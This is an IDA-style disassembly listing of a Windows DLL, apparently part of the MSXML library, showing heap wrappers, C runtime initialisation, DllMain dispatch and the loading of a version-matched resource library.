		cmp	dword_69B92940,	ebx
		push	eax		; dwBytes
		push	ebx		; dwFlags
		push	ecx		; hHeap
		jnz	loc_69B11C64
		call	ds:HeapAlloc


loc_69B1B2F9:				; CODE XREF: sub_69B17F72-6309j
		lea	ecx, [esi+2034h]
		mov	ebx, eax
		call	sub_69B18381
		test	ebx, ebx
		jz	loc_69B11C6E
		test	bl, 4
		jnz	loc_69B2384B


loc_69B1B317:				; CODE XREF: sub_69B17F72+B8E0j
		test	byte ptr [ebp+arg_4], 8
		mov	eax, [ebp+var_4]
		mov	[ebx], esi
		mov	[ebx+4], eax
		jnz	short loc_69B1B33A


loc_69B1B325:				; CODE XREF: sub_69B17F72+33DEj
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_69B1B332
		mov	ecx, [ebp+arg_0]
		mov	[eax+4Ch], ecx


loc_69B1B332:				; CODE XREF: sub_69B17F72+33B8j
		lea	eax, [ebx+8]
		jmp	loc_69B18087
; ---------------------------------------------------------------------------


loc_69B1B33A:				; CODE XREF: sub_69B17F72+33B1j
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		lea	edi, [ebx+8]
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		jmp	short loc_69B1B325
; END OF FUNCTION CHUNK	FOR sub_69B17F72

; =============== S U B	R O U T	I N E =======================================



sub_69B1B352	proc near		; CODE XREF: sub_69B19A23+7Fp
					; sub_69B19A23+89p ...

; FUNCTION CHUNK AT 69B2349A SIZE 00000003 BYTES

		push	30h
		call	sub_69B1D897
		test	eax, eax
		jz	loc_69B2349A
		push	100h
		push	1000h
		mov	ecx, eax
		call	sub_69B1B373
		retn
sub_69B1B352	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B373	proc near		; CODE XREF: sub_69B1B352+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_69B19B0D
		and	dword ptr [esi+28h], 0
		and	dword ptr [esi+2Ch], 0
		mov	dword ptr [esi], offset	off_69B1B3D8
		mov	dword ptr [esi+4], offset off_69B1B3A0
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1B373	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1B3A0	dd offset loc_69B1B3A4	; DATA XREF: sub_69B1B373+1Eo
					; sub_69B1B3C3+7o
; ---------------------------------------------------------------------------


loc_69B1B3A4:				; DATA XREF: .text:off_69B1B3A0o
		push	esi
		mov	esi, ecx
		call	sub_69B1B3C3
		test	byte ptr [esp+8], 1
		jz	short loc_69B1B3BC
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B1B3BC:				; CODE XREF: .text:69B1B3B1j
		lea	eax, [esi-4]
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B1B3C3	proc near		; CODE XREF: .text:69B1B3A7p
		mov	dword ptr [ecx-4], offset off_69B1B3D8
		mov	dword ptr [ecx], offset	off_69B1B3A0
		jmp	loc_69B1AE86
sub_69B1B3C3	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1B3D8	dd offset sub_69B448B2	; DATA XREF: sub_69B1B373+18o
					; sub_69B1B3C3o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B2DE99
		dd offset sub_69B1B3F4
		dd offset sub_69B18BAC
		dd offset sub_69B18ED9

; =============== S U B	R O U T	I N E =======================================



sub_69B1B3F4	proc near		; DATA XREF: .text:69B1B3E8o
		dec	dword ptr [ecx+2Ch]
		jnz	sub_69B18381
		and	dword ptr [ecx+28h], 0
		jmp	sub_69B18381
sub_69B1B3F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B406	proc near		; CODE XREF: sub_69B1BFF8+20p
					; sub_69B1DE10+1Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_4]
		call	sub_69B1B42A
		mov	ecx, [esp+4+arg_0]
		mov	[esi], ecx
		mov	edx, [ecx+2Ch]
		mov	[esi+8], eax
		mov	[esi+4], edx
		mov	[ecx+2Ch], eax
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1B406	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B42A	proc near		; CODE XREF: sub_69B19621+9Ap
					; sub_69B1B406+7p ...
		call	sub_69B17275
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_69B1B42A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1B480


loc_69B1B435:				; CODE XREF: sub_69B1B480+2Fj
		mov	ecx, esi
		call	sub_69B18F5A
		mov	[ebp-20h], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B22F3A
		push	dword ptr [ebp-20h]
		mov	ecx, esi
		call	sub_69B18459
		test	eax, eax
		jnz	loc_69B22F42
		dec	dword_69B929B0
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+34h]
		mov	dword ptr [esi+4], 3
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+18h]


loc_69B1B475:				; CODE XREF: sub_69B1B480+7ACAj
		mov	esi, [ebp-20h]
		and	esi, 0FFFFFFF9h
		mov	[ebp-24h], esi
		jmp	short loc_69B1B4AD
; END OF FUNCTION CHUNK	FOR sub_69B1B480

; =============== S U B	R O U T	I N E =======================================



sub_69B1B480	proc near		; CODE XREF: sub_69B1B0B5+54p
					; sub_69B18CB3+5629p

; FUNCTION CHUNK AT 69B1B435 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 69B22F3A SIZE 00000015 BYTES

		push	14h
		push	offset dword_69B1B4D8
		call	sub_69B19C5C
		mov	edi, [ebp+8]
		lea	eax, [edi+8]
		mov	[ebp-1Ch], eax
		add	eax, 4
		push	eax		; Target
		call	sub_69B18980
		mov	esi, eax
		mov	[ebp-20h], esi
		and	esi, 0FFFFFFF9h


loc_69B1B4A6:				; CODE XREF: sub_69B22F58+10j
		and	dword ptr [ebp-4], 0
		mov	ebx, [ebp-1Ch]


loc_69B1B4AD:				; CODE XREF: sub_69B1B480-2j
		cmp	esi, edi
		jnz	short loc_69B1B435


loc_69B1B4B1:				; CODE XREF: sub_69B1B480+7ABDj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, dword_69B929B0
		mov	dword_69B929B4,	eax
		mov	eax, [ebp-20h]
		mov	[ebx+4], eax
		xor	eax, eax
		cmp	[edi+4], edi
		setnz	al
		call	sub_69B1853C
		retn	4
sub_69B1B480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B1B4D8	dd 0FFFFFFFFh			dd offset sub_69B22F4F
		dd offset sub_69B22F58

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1B4E4	proc near		; CODE XREF: sub_69B1C43A+14p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 69B12104 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	[ebp+var_4], offset dword_69B94A00
		mov	[ebp+var_8], 400h
		push	edi


loc_69B1B4FA:				; CODE XREF: sub_69B1B4E4+26j
		mov	eax, [ebp+var_4]
		mov	edi, [eax]
		test	edi, edi
		jnz	short loc_69B1B511


loc_69B1B503:				; CODE XREF: sub_69B1B4E4+4Cj
		add	[ebp+var_4], 4
		dec	[ebp+var_8]
		jnz	short loc_69B1B4FA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1B511:				; CODE XREF: sub_69B1B4E4+1Dj
		lea	esi, [edi+4]
		mov	ebx, 80h


loc_69B1B519:				; CODE XREF: sub_69B1B4E4+43j
		mov	eax, [esi]
		test	eax, eax
		jnz	loc_69B12104


loc_69B1B523:				; CODE XREF: sub_69B1B4E4-93D9j
		add	esi, 4
		dec	ebx
		jnz	short loc_69B1B519
		push	edi		; lpMem
		call	sub_69B1B532
		pop	ecx
		jmp	short loc_69B1B503
sub_69B1B4E4	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_69B1B532(LPVOID lpMem)

sub_69B1B532	proc near		; CODE XREF: sub_69B1B4E4-93DFp
					; sub_69B1B1F3-16p ...

lpMem		= dword	ptr  4

; FUNCTION CHUNK AT 69B238A9 SIZE 00000006 BYTES

		push	[esp+lpMem]	; lpMem
		xor	eax, eax
		cmp	dword_69B92940,	eax
		push	eax		; dwFlags
		push	hHeap		; hHeap
		jnz	loc_69B238A9
		call	ds:HeapFree
		retn
sub_69B1B532	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B1B552	proc near		; CODE XREF: sub_69B18B3B+Ep
					; sub_69B3FBF7+Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	ecx, eax
		call	sub_69B1B42A
		mov	ecx, [esp+4+arg_0]
		mov	[esi], ecx
		mov	edx, [ecx+2Ch]
		mov	[esi+8], eax
		mov	[esi+4], edx
		mov	[ecx+2Ch], eax
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1B552	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B57D	proc near		; CODE XREF: sub_69B3F483+3j
					; .text:69B3F4B8j ...
		mov	eax, ecx
		retn
sub_69B1B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1B580	proc near		; CODE XREF: sub_69B18CB3+7Dp
					; sub_69B1B0B5+31p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+58h], 0
		jnz	short loc_69B1B594


loc_69B1B58F:				; CODE XREF: sub_69B1B580+4Ej
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_69B1B594:				; CODE XREF: sub_69B1B580+Dj
		push	esi
		push	edi
		lea	eax, [ebx+4]
		push	eax		; Target
		call	sub_69B18980
		lea	esi, [ebx+5Ch]
		mov	edi, eax
		lea	eax, [esi+400h]
		and	edi, 0FFFFFFF9h
		cmp	esi, eax
		mov	[ebp+var_8], eax
		jnb	short loc_69B1B5C5


loc_69B1B5B4:				; CODE XREF: sub_69B1B580+43j
		mov	eax, [esi]
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B1B5D0


loc_69B1B5BD:				; CODE XREF: sub_69B1B580+6Fj
		add	esi, 4
		cmp	esi, [ebp+var_8]
		jb	short loc_69B1B5B4


loc_69B1B5C5:				; CODE XREF: sub_69B1B580+32j
		and	dword ptr [ebx+58h], 0
		mov	[ebx+4], edi
		pop	edi
		pop	esi
		jmp	short loc_69B1B58F
; ---------------------------------------------------------------------------


loc_69B1B5D0:				; CODE XREF: sub_69B1B580+3Bj
		lea	ebx, [eax+4]
		push	ebx		; Target
		call	sub_69B18980
		and	eax, 2
		or	eax, edi
		mov	edi, [ebp+var_4]
		mov	[ebx], eax
		inc	dword_69B929B0
		and	dword ptr [esi], 0
		mov	ebx, [ebp+arg_0]
		jmp	short loc_69B1B5BD
sub_69B1B580	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BAE5


loc_69B1B5F1:				; CODE XREF: sub_69B1BAE5+2Ej
					; sub_69B1BAE5+9156j
		test	esi, esi
		jnz	loc_69B1BADB


loc_69B1B5F9:				; CODE XREF: sub_69B1BAE5-5j
		push	edi
		push	esi
		push	ebx
		call	sub_69B1B625
		test	eax, eax
		jz	loc_69B24C40


loc_69B1B609:				; CODE XREF: sub_69B1BAE5+915Ej
		cmp	[ebp+arg_4], 0
		jz	loc_69B1BB21
		mov	eax, dword_69B96130
		test	eax, eax
		jz	loc_69B1BB21
		jmp	loc_69B24C48
; END OF FUNCTION CHUNK	FOR sub_69B1BAE5

; =============== S U B	R O U T	I N E =======================================



sub_69B1B625	proc near		; CODE XREF: sub_69B1BAE5-4E9p
					; sub_69B1BAE5-1Ap ...

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B24B91 SIZE 0000008E BYTES

		mov	eax, [esp+arg_4]
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	esi
		push	edi
		jnz	loc_69B1B724
		mov	edi, ds:GetProcessHeap
		push	94h		; dwBytes
		push	0		; dwFlags
		call	edi ; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapAlloc
		mov	esi, eax
		test	esi, esi
		jz	loc_69B1B762
		push	esi		; lpVersionInformation
		mov	dword ptr [esi], 94h
		call	ds:GetVersionExA	; GetVersionExA
		test	eax, eax
		push	esi		; lpMem
		push	0		; dwFlags
		jz	loc_69B24B91
		mov	eax, [esi+10h]
		mov	dword_69B95AFC,	eax
		mov	eax, [esi+4]
		mov	dword_69B95B08,	eax
		mov	eax, [esi+8]
		mov	dword_69B95B0C,	eax
		mov	eax, [esi+0Ch]
		and	eax, 7FFFh
		mov	dword_69B95B00,	eax
		call	edi ; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapFree
		cmp	dword_69B95AFC,	2
		jnz	loc_69B24B9F


loc_69B1B6A9:				; CODE XREF: sub_69B1B625+9581j
		mov	eax, dword_69B95B08
		shl	eax, 8
		add	eax, dword_69B95B0C
		push	1
		mov	dword_69B95B04,	eax
		call	sub_69B1CD1E
		test	eax, eax
		pop	ecx
		jz	loc_69B1B762
		call	sub_69B1CD73
		test	eax, eax
		jz	loc_69B24BAB
		call	ds:GetCommandLineA	; GetCommandLineA
		mov	dword_69B9612C,	eax
		call	sub_69B112C0
		mov	dword_69B95AF8,	eax
		call	sub_69B11383
		test	eax, eax
		jl	loc_69B24BB5
		call	sub_69B1CF24
		test	eax, eax
		jl	short loc_69B1B758
		call	sub_69B1949B
		test	eax, eax
		jl	short loc_69B1B758
		call	sub_69B1E62C
		test	eax, eax
		jnz	short loc_69B1B758
		inc	dword_69B95AF4


loc_69B1B71C:				; CODE XREF: sub_69B1B625+131j
					; sub_69B1B625+95D4j ...
		xor	eax, eax
		inc	eax


loc_69B1B71F:				; CODE XREF: sub_69B1B625+13Fj
		pop	edi
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B1B724:				; CODE XREF: sub_69B1B625+Bj
		test	eax, eax
		jnz	loc_69B24BBC
		cmp	dword_69B95AF4,	eax
		jle	short loc_69B1B762
		dec	dword_69B95AF4
		cmp	dword_69B95B24,	eax
		jnz	short loc_69B1B747
		call	sub_69B1BA03


loc_69B1B747:				; CODE XREF: sub_69B1B625+11Bj
		call	sub_69B1B766
		call	sub_69B11F44
		call	sub_69B11F65
		jmp	short loc_69B1B71C
; ---------------------------------------------------------------------------


loc_69B1B758:				; CODE XREF: sub_69B1B625+DDj
					; sub_69B1B625+E6j ...
		call	sub_69B1B766
		jmp	loc_69B24BB5
; ---------------------------------------------------------------------------


loc_69B1B762:				; CODE XREF: sub_69B1B625+2Bj
					; sub_69B1B625+A1j ...
		xor	eax, eax
		jmp	short loc_69B1B71F
sub_69B1B625	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B766	proc near		; CODE XREF: sub_69B1B625:loc_69B1B747p
					; sub_69B1B625:loc_69B1B758p

; FUNCTION CHUNK AT 69B11F34 SIZE 00000010 BYTES

		push	esi
		push	edi
		mov	esi, offset dword_69B96020


loc_69B1B76D:				; CODE XREF: sub_69B1B766+16j
		mov	edi, [esi]
		test	edi, edi
		jnz	short loc_69B1B781


loc_69B1B773:				; CODE XREF: sub_69B1B766-9827j
		add	esi, 4
		cmp	esi, offset dword_69B96120
		jl	short loc_69B1B76D
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1B781:				; CODE XREF: sub_69B1B766+Bj
		lea	eax, [edi+480h]


loc_69B1B787:				; CODE XREF: sub_69B1B766+39j
		cmp	edi, eax
		jnb	loc_69B11F34
		cmp	dword ptr [edi+8], 0
		jnz	short loc_69B1B7A1


loc_69B1B795:				; CODE XREF: sub_69B1B766+45j
		mov	eax, [esi]
		add	edi, 24h
		add	eax, 480h
		jmp	short loc_69B1B787
; ---------------------------------------------------------------------------


loc_69B1B7A1:				; CODE XREF: sub_69B1B766+2Dj
		lea	eax, [edi+0Ch]
		push	eax		; lpCriticalSection
		call	ds:DeleteCriticalSection
		jmp	short loc_69B1B795
sub_69B1B766	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1B7AD	proc near		; CODE XREF: DllEntryPoint+31p
		push	0Ch
		push	offset dword_69B1B808
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_69B1B7FF
		mov	eax, [ebp+8]
		mov	hModule, eax
		call	sub_69B19A23
		test	eax, eax
		jz	short loc_69B1B7EC
		mov	[ebp-4], esi
		call	sub_69B1D319
		inc	esi
		push	esi
		call	sub_69B1B814
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B1B7EC:				; CODE XREF: sub_69B1B7AD+2Aj
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B1B7F7:				; CODE XREF: sub_69B1B7AD+54j
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------


loc_69B1B7FF:				; CODE XREF: sub_69B1B7AD+19j
					; sub_69B22910+10j
		xor	eax, eax
		jmp	short loc_69B1B7F7
sub_69B1B7AD	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B1B808	dd 0FFFFFFFFh			dd offset sub_69B22907
		dd offset sub_69B22910

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1B814	proc near		; CODE XREF: sub_69B1B7AD+36p

LibFileName	= byte ptr -12Ch
var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B23CBA SIZE 00000046 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		cmp	byte ptr [ebp+arg_0], 0
		mov	[ebp+var_4], eax
		jz	loc_69B23CE2
		push	edi
		mov	edi, 104h
		push	edi		; nSize
		lea	eax, [ebp+LibFileName]
		push	eax		; lpFilename
		push	hModule		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_28]
		push	eax		; int
		lea	eax, [ebp+LibFileName]
		push	eax		; puLen
		call	sub_69B1B938
		test	al, al
		jz	loc_69B23CBA


loc_69B1B867:				; CODE XREF: sub_69B1B814+84B0j
		cmp	[ebp+arg_0], 0
		jz	short loc_69B1B8E9
		lea	eax, [ebp+LibFileName]
		push	5Ch
		push	eax
		call	sub_69B11CAE
		cmp	dword_69B92954,	2
		pop	ecx
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, offset dword_69B1B92C
		jnz	loc_69B23CC9


loc_69B1B894:				; CODE XREF: sub_69B1B814+84BAj
		push	ebx
		push	esi
		lea	esi, [ecx+1]


loc_69B1B899:				; CODE XREF: sub_69B1B814+8Aj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_69B1B899
		sub	ecx, esi
		mov	esi, ecx
		mov	ecx, eax
		lea	edx, [ecx+1]


loc_69B1B8A9:				; CODE XREF: sub_69B1B814+9Aj
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_69B1B8A9
		sub	ecx, edx
		mov	edx, [ebp+arg_0]
		sub	ecx, esi
		lea	ecx, [ecx+edx+1]
		cmp	ecx, edi
		pop	esi
		pop	ebx
		jnb	short loc_69B1B8E9
		mov	edx, [ebp+var_8]
		inc	edx
		mov	ecx, eax
		sub	edx, eax


loc_69B1B8C9:				; CODE XREF: sub_69B1B814+BDj
		mov	al, [ecx]
		mov	[edx+ecx], al
		inc	ecx
		test	al, al
		jnz	short loc_69B1B8C9
		push	0Ah		; dwFlags
		push	0		; hFile
		lea	eax, [ebp+LibFileName]
		push	eax		; lpLibFileName
		call	ds:LoadLibraryExA	; LoadLibraryExA
		mov	lpSource, eax


loc_69B1B8E9:				; CODE XREF: sub_69B1B814+57j
					; sub_69B1B814+ABj
		lea	eax, [ebp+var_18]
		push	eax		; int
		lea	eax, [ebp+LibFileName]
		push	eax		; puLen
		call	sub_69B1B938
		test	al, al
		pop	edi
		jz	loc_69B23CD3
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_28]
		jnz	loc_69B23CD3


loc_69B1B90E:				; CODE XREF: sub_69B1B814+84C9j
					; sub_69B1B814+84D8j
		cmp	lpSource, 0
		jz	loc_69B23CF1


loc_69B1B91B:				; CODE XREF: sub_69B1B814+84E7j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn	4
sub_69B1B814	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B1B92C	dd 6D78736Dh, 2E72326Ch, 6C6C64h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B1B938(LPCSTR puLen, int)

sub_69B1B938	proc near		; CODE XREF: sub_69B1B814+46p
					; sub_69B1B814+E0p

Data		= byte ptr -214h
tstrFilename	= byte ptr -110h
dwHandle	= dword	ptr -0Ch
lpBuffer	= dword	ptr -8
var_4		= dword	ptr -4
puLen		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		xor	ebx, ebx
		push	ebx		; lpFilePart
		lea	eax, [ebp+tstrFilename]
		push	eax		; lpBuffer
		mov	esi, 104h
		push	esi		; nBufferLength
		push	[ebp+puLen]	; lpFileName
		call	ds:GetFullPathNameA	; GetFullPathNameA
		test	eax, eax
		jbe	short loc_69B1B9E1
		push	edi
		lea	eax, [ebp+dwHandle]
		push	eax		; lpdwHandle
		lea	eax, [ebp+tstrFilename]
		push	eax		; lptstrFilename
		call	GetFileVersionInfoSizeA
		mov	edi, eax
		cmp	edi, ebx
		jbe	short loc_69B1B9E0
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	esi		; dwLen
		push	ebx		; dwHandle
		lea	eax, [ebp+tstrFilename]
		push	eax		; lptstrFilename
		call	GetFileVersionInfoA
		cmp	eax, 1
		jnz	short loc_69B1B9E0
		lea	eax, [ebp+puLen]
		push	eax		; puLen
		lea	eax, [ebp+lpBuffer]
		push	eax		; lplpBuffer
		push	offset SubBlock	; "\\"
		lea	eax, [ebp+Data]
		push	eax		; pBlock
		mov	[ebp+puLen], edi
		call	VerQueryValueA
		cmp	eax, 1
		jnz	short loc_69B1B9E0
		mov	eax, [ebp+lpBuffer]
		movzx	edx, word ptr [eax+0Ah]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edx
		movzx	edx, word ptr [eax+8]
		mov	[ecx+4], edx
		movzx	edx, word ptr [eax+0Eh]
		mov	[ecx+8], edx
		movzx	eax, word ptr [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	bl, 1


loc_69B1B9E0:				; CODE XREF: sub_69B1B938+48j
					; sub_69B1B938+62j ...
		pop	edi


loc_69B1B9E1:				; CODE XREF: sub_69B1B938+31j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		mov	al, bl
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	8
sub_69B1B938	endp

; ---------------------------------------------------------------------------
; char SubBlock[]
SubBlock	db '\',0                ; DATA XREF: sub_69B1B938+6Co

; =============== S U B	R O U T	I N E =======================================



sub_69B1B9F6	proc near		; CODE XREF: sub_69B1B814+10Dp
					; sub_69B1B938+B3p ...
		cmp	ecx, dword_69B92170
		jnz	sub_69B2C4E2
		retn
sub_69B1B9F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BA03	proc near		; CODE XREF: sub_69B1B625+11Dp
		push	1
		push	0
		push	0
		call	sub_69B1BA12
		add	esp, 0Ch
		retn
sub_69B1BA03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BA12	proc near		; CODE XREF: sub_69B1BA03+6p
					; sub_69B84D58+8p

; FUNCTION CHUNK AT 69B24CD2 SIZE 00000041 BYTES

		push	8
		push	offset dword_69B1BA90
		call	sub_69B19C5C
		push	8
		call	sub_69B113FC
		pop	ecx
		xor	edi, edi
		mov	[ebp-4], edi
		xor	esi, esi
		inc	esi
		cmp	dword_69B95B28,	esi
		jz	short loc_69B1BA75
		mov	dword_69B95B24,	esi
		mov	al, [ebp+10h]
		mov	byte_69B95B20, al
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B1BA65
		cmp	dword_69B96124,	edi
		jnz	loc_69B24CD2


loc_69B1BA55:				; CODE XREF: sub_69B1BA12+92D3j
		push	offset dword_69B92164
		mov	eax, offset dword_69B92160
		call	sub_69B1BA9C
		pop	ecx


loc_69B1BA65:				; CODE XREF: sub_69B1BA12+35j
		push	offset dword_69B9216C
		mov	eax, offset dword_69B92168
		call	sub_69B1BA9C
		pop	ecx


loc_69B1BA75:				; CODE XREF: sub_69B1BA12+22j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B11F26
		cmp	[ebp+10h], edi
		jz	loc_69B24CF3
		call	sub_69B1853C
		retn
sub_69B1BA12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B1BA90	dd 0FFFFFFFFh, 0		dd offset unk_69B24D09

; =============== S U B	R O U T	I N E =======================================



sub_69B1BA9C	proc near		; CODE XREF: sub_69B1BA12+4Dp
					; sub_69B1BA12+5Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B24CCB SIZE 00000007 BYTES

		push	esi
		mov	esi, eax


loc_69B1BA9F:				; CODE XREF: sub_69B1BA9C+18j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_69B1BAA7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1BAA7:				; CODE XREF: sub_69B1BA9C+7j
		mov	eax, [esi]
		test	eax, eax
		jnz	loc_69B24CCB


loc_69B1BAB1:				; CODE XREF: sub_69B1BA9C+9231j
		add	esi, 4
		jmp	short loc_69B1BA9F
sub_69B1BA9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1BAE5


loc_69B1BAB6:				; CODE XREF: sub_69B1BAE5+11j
		cmp	esi, 1
		jnz	short loc_69B1BAD4


loc_69B1BABB:				; CODE XREF: sub_69B1BAE5-Cj
		mov	eax, dword_69B96130
		test	eax, eax
		jnz	loc_69B24C1F


loc_69B1BAC8:				; CODE XREF: sub_69B1BAE5+9141j
		push	edi
		push	esi
		push	ebx
		call	sub_69B1B625
		test	eax, eax
		jmp	short loc_69B1BAFF
; ---------------------------------------------------------------------------


loc_69B1BAD4:				; CODE XREF: sub_69B1BAE5-2Cj
		cmp	esi, 2
		jnz	short loc_69B1BB05
		jmp	short loc_69B1BABB
; ---------------------------------------------------------------------------


loc_69B1BADB:				; CODE XREF: sub_69B1BAE5-4F2j
		cmp	esi, 3
		jnz	short loc_69B1BB21
		jmp	loc_69B1B5F9
; END OF FUNCTION CHUNK	FOR sub_69B1BAE5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1BAE5	proc near		; CODE XREF: DllEntryPoint+25p
					; DllEntryPoint+64p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B1B5F1 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 69B1BAB6 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 69B24C1F SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jnz	short loc_69B1BAB6
		cmp	dword_69B95AF4,	0


loc_69B1BAFF:				; CODE XREF: sub_69B1BAE5-13j
		jz	loc_69B24C2C


loc_69B1BB05:				; CODE XREF: sub_69B1BAE5-Ej
		push	edi
		push	esi
		push	ebx
		call	DllMain
		cmp	esi, 1
		mov	[ebp+arg_4], eax
		jnz	loc_69B1B5F1
		test	eax, eax
		jz	loc_69B24C33


loc_69B1BB21:				; CODE XREF: sub_69B1BAE5-4D8j
					; sub_69B1BAE5-4CBj ...
		mov	eax, [ebp+arg_4]


loc_69B1BB24:				; CODE XREF: sub_69B1BAE5+9149j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B1BAE5	endp

; Exported entry  15. DllMain

; =============== S U B	R O U T	I N E =======================================


		public DllMain

DllMain		proc near		; CODE XREF: sub_69B1BAE5+23p
					; sub_69B2D55F+Ap

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B228C7 SIZE 0000001C BYTES

		mov	eax, [esp+arg_4]
		cmp	eax, 1
		jz	short loc_69B1BB3C
		test	eax, eax
		jnz	loc_69B228C7


loc_69B1BB3C:				; CODE XREF: DllMain+7j DllMain+6D9Fj	...
		xor	eax, eax
		inc	eax
		retn	0Ch
DllMain		endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1BB42	proc near		; CODE XREF: DllGetClassObject+81p
		call	sub_69B1BB5E
		push	eax		; Value
